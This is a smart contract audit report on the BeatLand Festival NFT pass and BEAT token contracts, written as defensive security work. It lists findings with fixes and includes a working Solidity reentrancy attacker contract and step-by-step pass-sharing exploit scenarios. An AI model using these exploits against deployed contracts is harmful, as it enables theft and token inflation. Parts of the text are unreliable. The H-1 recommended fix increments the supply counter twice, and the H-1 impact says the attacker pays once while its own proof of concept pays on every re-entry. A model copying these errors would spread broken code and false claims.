



# BeatLand Festival Audit Report

Version 1.0

*Alchemist*

January 25, 2026

# BeatLand Festival Audit Report

Aditya Kumar Mishra

Jan 25, 2026

## BeatLand Festival Audit Report

Prepared by: Team Alchemist

Lead Auditors: - Aditya Kumar Mishra

Assisting Auditors: - None

## Table of contents

- BeatLand Festival Audit Report
- Table of contents
- About Alchemist
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
- Protocol Summary
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
  - Medium
  - Low

## About Alchemist

We are Team Alchemist, currently a one-member team founded by Aditya Kumar Mishra. Our focus is on learning, researching, and implementing smart contract security, with an emphasis on understanding vulnerabilities, best practices, and secure blockchain development.

## Disclaimer

The Alchemist team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

## Audit Details

The findings described in this document correspond to the following commit hash:

```
1 91c8f8c94a9ff2db91f0ab2b2742cf1739dd6374
```

## Scope

```
1 ./src/  
2 -- FestivalPass.sol  
3 -- BeatToken.sol
```

## Protocol Summary

BeatLand Festival is a blockchain-based festival pass management system that issues NFT passes (General, VIP, Backstage) and rewards attendees with BEAT tokens for attending performances. The protocol features three tiers of passes with varying reward multipliers, performance check-ins with cooldown periods, and a memorabilia redemption system using earned BEAT tokens.

## Roles

- **Owner:** The contract deployer who can set the organizer address and withdraw accumulated ETH from pass sales.
- **Organizer:** Manages festival operations including pass configuration (pricing, supply limits), performance creation (schedule, rewards), and memorabilia collections.
- **Pass Holders:** Festival attendees who purchase NFT passes (General/VIP/Backstage) to access events and earn BEAT tokens.
- **Performance Attendees:** Pass holders who check-in to performances and receive BEAT token rewards based on their pass tier multiplier (1x/2x/3x).
- **Memorabilia Collectors:** Users who redeem BEAT tokens to mint limited-edition NFT memorabilia from active collections.

## Executive Summary

This audit identified critical vulnerabilities in the BeatLand Festival protocol that allow attackers to exploit reentrancy, bypass economic controls, and permanently lock contract funds. The most severe findings enable unlimited pass minting with single payments, pass-sharing to multiply rewards, and fund loss when withdrawing to smart contract wallets.

## Issues found

Severity	Number of issues found
High	2
Medium	2
Low	1
Info	0

Severity	Number of issues found
Total	5

## Findings

### High

#### [H-1] Reentrancy in `buyPass()` allows bypassing maximum supply limits

**Description:** The `buyPass()` function is designed to enforce a maximum supply limit for each pass tier (GENERAL, VIP, BACKSTAGE) by checking `passSupply[collectionId] < passMaxSupply[collectionId]` before minting. Each tier should only mint up to its configured `passMaxSupply` to maintain scarcity and tokenomics.

However, the `passSupply` counter is incremented **after** the `_mint()` call, which triggers an external callback (`onERC1155Received`) if the recipient is a contract. This allows an attacker to re-enter the `buyPass()` function before the supply counter updates, bypassing the maximum supply check and minting unlimited passes.

```
1 function buyPass(uint256 collectionId) external payable {
2     require(collectionId == GENERAL_PASS || collectionId == VIP_PASS
3         || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
4     require(msg.value == passPrice[collectionId], "Incorrect payment
5         amount");
6     require(passSupply[collectionId] < passMaxSupply[collectionId], "
7         Max supply reached");
8     _mint(msg.sender, collectionId, 1, ""); // External call triggers
9         callback
10    ++passSupply[collectionId]; // State update AFTER
11        external interaction
12
13    uint256 bonus = (collectionId == VIP_PASS) ? 5e18
14        : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
15    if (bonus > 0) {
16        BeatToken(beatToken).mint(msg.sender, bonus);
17    }
18    emit PassPurchased(msg.sender, collectionId);
19 }
```

**Impact:** High - Attacker can mint unlimited passes beyond `passMaxSupply`, destroying the scarcity model. VIP/BACKSTAGE passes gain 2x-3x multipliers for performance rewards, leading to excessive

BEAT token inflation. Festival revenue is undermined as attacker pays once but receives multiple passes.

**Proof of Concept:**

```
1 // SPDX-License-Identifier: MIT
2 pragma solidity 0.8.25;
3
4 import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
5
6 contract ReentrancyAttacker is IERC1155Receiver {
7     FestivalPass public festivalPass;
8     uint256 public attackCount;
9     uint256 public maxAttacks = 10;
10    uint256 public targetPassId = 2; // VIP_PASS
11
12    constructor(address _festivalPass) {
13        festivalPass = FestivalPass(_festivalPass);
14    }
15
16    function attack() external payable {
17        festivalPass.buyPass{value: msg.value}(targetPassId);
18    }
19
20    function onERC1155Received(
21        address,
22        address,
23        uint256,
24        uint256,
25        bytes memory
26    ) public override returns (bytes4) {
27        if (attackCount < maxAttacks) {
28            attackCount++;
29            uint256 price = festivalPass.passPrice(targetPassId);
30            if (address(this).balance >= price) {
31                festivalPass.buyPass{value: price}(targetPassId);
32            }
33        }
34        return this.onERC1155Received.selector;
35    }
36
37    function onERC1155BatchReceived(
38        address,
39        address,
40        uint256[] memory,
41        uint256[] memory,
42        bytes memory
43    ) public pure override returns (bytes4) {
44        return this.onERC1155BatchReceived.selector;
45    }
46}
```

```
47     function supportsInterface(bytes4 interfaceId) public pure override
        returns (bool) {
48         return interfaceId == type(IERC1155Receiver).interfaceId;
49     }
50
51     receive() external payable {}
52 }
```

**Recommended Mitigation:**

```
1  function buyPass(uint256 collectionId) external payable {
2      require(collectionId == GENERAL_PASS || collectionId == VIP_PASS
3          || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
4      require(msg.value == passPrice[collectionId], "Incorrect payment
5          amount");
6      require(passSupply[collectionId] < passMaxSupply[collectionId], "
7          Max supply reached");
8      ++passSupply[collectionId];
9      _mint(msg.sender, collectionId, 1, "");
10     ++passSupply[collectionId];
11     uint256 bonus = (collectionId == VIP_PASS) ? 5e18
12         : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
13     if (bonus > 0) {
14         BeatToken(beatToken).mint(msg.sender, bonus);
15     }
16     emit PassPurchased(msg.sender, collectionId);
17 }
```

Alternative: Add OpenZeppelin's ReentrancyGuard:

```
1  + import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
2
3  - contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass {
4  + contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass,
5      ReentrancyGuard {
6
7  - function buyPass(uint256 collectionId) external payable {
8  + function buyPass(uint256 collectionId) external payable nonReentrant
9      {
```

**[H-2] Pass-sharing exploit allows unlimited reward generation from single pass purchase**

**Description:** The attendance system is designed such that each pass holder can attend a performance once and receive BEAT tokens based on their pass tier multiplier (1x for GENERAL, 2x for VIP, 3x for BACKSTAGE). This creates a balanced economy where one pass purchase corresponds to one set of rewards per performance.

However, the `attendPerformance()` function tracks attendance by user address (`hasAttended[performanceId][msg.sender]`) rather than by pass token ID, while only validating pass ownership at the moment of the call. Since ERC1155 tokens are freely transferable via `safeTransferFrom()`, multiple coordinated users can share a single pass by transferring it between addresses, with each user attending the same performance and receiving full multiplied rewards.

```
1 function attendPerformance(uint256 performanceId) external {
2     require(isPerformanceActive(performanceId), "Performance is not
      active");
3     require(hasPass(msg.sender), "Must own a pass");
4     require(!hasAttended[performanceId][msg.sender], "Already attended
      this performance");
5     require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "
      Cooldown period not met");
6
7     hasAttended[performanceId][msg.sender] = true;
8     lastCheckIn[msg.sender] = block.timestamp;
9
10    uint256 multiplier = getMultiplier(msg.sender);
11    BeatToken(beatToken).mint(msg.sender, performances[performanceId].
      baseReward * multiplier);
12    emit Attended(msg.sender, performanceId, performances[performanceId]
      .baseReward * multiplier);
13 }
```

**Impact:** High - One BACKSTAGE pass (3x multiplier) can generate unlimited 3x rewards across infinite users. Complete breakdown of tokenomics: BEAT token hyperinflation destroys memorabilia pricing model. Festival loses revenue as users share one pass instead of each buying their own.

#### Proof of Concept:

```
1 // Scenario: Alice, Bob, and Charlie share one VIP pass (2x multiplier)
2 // Performance has baseReward = 100e18 BEAT tokens
3
4 // Step 1: Alice buys VIP pass (costs 0.1 ETH)
5 // Step 2: Alice attends Performance #1 -> receives 200e18 BEAT
6 // Step 3: Alice transfers VIP pass to Bob
7 // Step 4: Bob attends Performance #1 -> receives 200e18 BEAT
8 // Step 5: Bob transfers VIP pass to Charlie
9 // Step 6: Charlie attends Performance #1 -> receives 200e18 BEAT
10
11 // Result: One pass (0.1 ETH) generated 600e18 BEAT tokens
12 // Expected: 200e18 BEAT tokens (one 2x reward)
13 // Attack scales infinitely with more participants
```

#### Recommended Mitigation:

```
1 + mapping(uint256 => mapping(uint256 => bool)) public passHasAttended;
2
```

```
3 - function attendPerformance(uint256 performanceId) external {
4 + function attendPerformance(uint256 performanceId, uint256 passId)
  external {
5     require(isPerformanceActive(performanceId), "Performance is not
      active");
6 -   require(hasPass(msg.sender), "Must own a pass");
7 +   require(balanceOf(msg.sender, passId) > 0, "Must own this specific
      pass");
8 +   require(passId == GENERAL_PASS || passId == VIP_PASS || passId ==
      BACKSTAGE_PASS, "Invalid pass ID");
9 -   require(!hasAttended[performanceId][msg.sender], "Already attended
      this performance");
10 +   require(!passHasAttended[performanceId][passId], "This pass already
      used for this performance");
11     require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "
      Cooldown period not met");
12
13 -   hasAttended[performanceId][msg.sender] = true;
14 +   passHasAttended[performanceId][passId] = true;
15     lastCheckIn[msg.sender] = block.timestamp;
16
17 -   uint256 multiplier = getMultiplier(msg.sender);
18 +   uint256 multiplier = getPassMultiplier(passId);
19     BeatToken(beatToken).mint(msg.sender, performances[performanceId].
      baseReward * multiplier);
20     emit Attended(msg.sender, performanceId, performances[performanceId]
      ].baseReward * multiplier);
21 }
22
23 + function getPassMultiplier(uint256 passId) internal pure returns (
      uint256) {
24 +     if (passId == BACKSTAGE_PASS) return 3;
25 +     if (passId == VIP_PASS) return 2;
26 +     if (passId == GENERAL_PASS) return 1;
27 +     return 0;
28 + }
```

## Medium

### [M-1] Unsafe ETH transfer in `withdraw()` can permanently lock funds

**Description:** The `withdraw()` function allows the owner to extract collected ETH from pass sales to a specified target address. However, the function uses Solidity's `transfer()` method, which forwards only 2300 gas to the recipient. If the target address is a contract with a fallback function that requires more than 2300 gas, the transfer will fail and revert. This can permanently lock all ETH in the contract.

```
1 function withdraw(address target) external onlyOwner {
2     payable(target).transfer(address(this).balance);
3 }
```

**Impact:** Medium - All collected ETH from pass sales becomes permanently locked if the target is a Gnosis Safe or smart contract wallet. No alternative withdrawal mechanism exists.

**Proof of Concept:**

```
1 contract GnosisSafeSimulator {
2     mapping(uint => uint) public someMapping;
3
4     receive() external payable {
5         for (uint i = 0; i < 10; i++) {
6             someMapping[i] = msg.value; // Costs > 2300 gas
7         }
8     }
9 }
10
11 // Test:
12 // FestivalPass has 100 ETH from pass sales
13 // festivalPass.withdraw(address(gnosisSafe))
14 // Result: REVERTS - out of gas, 100 ETH stuck forever
```

**Recommended Mitigation:**

```
1 function withdraw(address target) external onlyOwner {
2 +     require(target != address(0), "Invalid target address");
3 +     (bool success, ) = payable(target).call{value: address(this).
    balance}("");
4 +     require(success, "ETH transfer failed");
5 -     payable(target).transfer(address(this).balance);
6 }
```

**[M-2] Block timestamp manipulation allows invalid performance timing**

**Description:** The `createPerformance()` function validates that a performance start time is in the future by comparing against `block.timestamp`. However, `block.timestamp` can be manipulated by miners within a  $\pm 15$  minute window without block rejection by the network.

```
1 function createPerformance(
2     uint256 startTime,
3     uint256 duration,
4     uint256 reward
5 ) external onlyOrganizer returns (uint256) {
6     require(startTime > block.timestamp, "Start time must be in the
    future");
7     require(duration > 0, "Duration must be greater than 0");
```

```
8
9     performances[performanceCount] = Performance({
10         startTime: startTime,
11         endTime: startTime + duration,
12         baseReward: reward
13     });
14     emit PerformanceCreated(performanceCount, startTime, startTime +
        duration);
15     return performanceCount++;
16 }
```

**Impact:** Medium - Organizer cannot create performances scheduled 5-10 minutes in future if miner pushes timestamp forward. Performances could be created with start times already passed if miner pulls timestamp backward. Disrupts festival scheduling and user experience.

**Recommended Mitigation:**

```
1 function createPerformance(
2     uint256 startTime,
3     uint256 duration,
4     uint256 reward
5 ) external onlyOrganizer returns (uint256) {
6 -     require(startTime > block.timestamp, "Start time must be in the
        future");
7 +     require(startTime > block.timestamp + 15 minutes, "Start time must
        be at least 15 minutes in future");
8     require(duration > 0, "Duration must be greater than 0");
9 +     require(duration <= 365 days, "Duration exceeds maximum allowed");
10 +     require(reward > 0, "Reward must be greater than 0");
11
12     performances[performanceCount] = Performance({
13         startTime: startTime,
14         endTime: startTime + duration,
15         baseReward: reward
16     });
17     emit PerformanceCreated(performanceCount, startTime, startTime +
        duration);
18     return performanceCount++;
19 }
```

**Low**

**[L-1] Missing zero address validation in constructor and critical setters**

**Description:** The constructor and `setOrganizer()` function accept address parameters without validating they are not the zero address. If deployed or configured with `address(0)`, critical contract functionality becomes permanently broken.

```
1 constructor(address _beatToken, address _organizer)
2   ERC1155("ipfs://beatdrop/{id}") Ownable(msg.sender) {
3   setOrganizer(_organizer);
4   beatToken = _beatToken;
5 }
6
7 function setOrganizer(address _organizer) public onlyOwner {
8   organizer = _organizer;
9 }
```

**Impact:** Low - If `beatToken = address(0)`: all bonus minting and memorabilia redemption fail. If `organizer = address(0)`: no performances or memorabilia collections can be created. Contract may need redeployment.

**Recommended Mitigation:**

```
1 constructor(address _beatToken, address _organizer)
2   ERC1155("ipfs://beatdrop/{id}") Ownable(msg.sender) {
3 +   require(_beatToken != address(0), "Invalid beatToken address");
4 +   require(_organizer != address(0), "Invalid organizer address");
5   setOrganizer(_organizer);
6   beatToken = _beatToken;
7 }
8
9 function setOrganizer(address _organizer) public onlyOwner {
10 +   require(_organizer != address(0), "Invalid organizer address");
11   organizer = _organizer;
12 }
```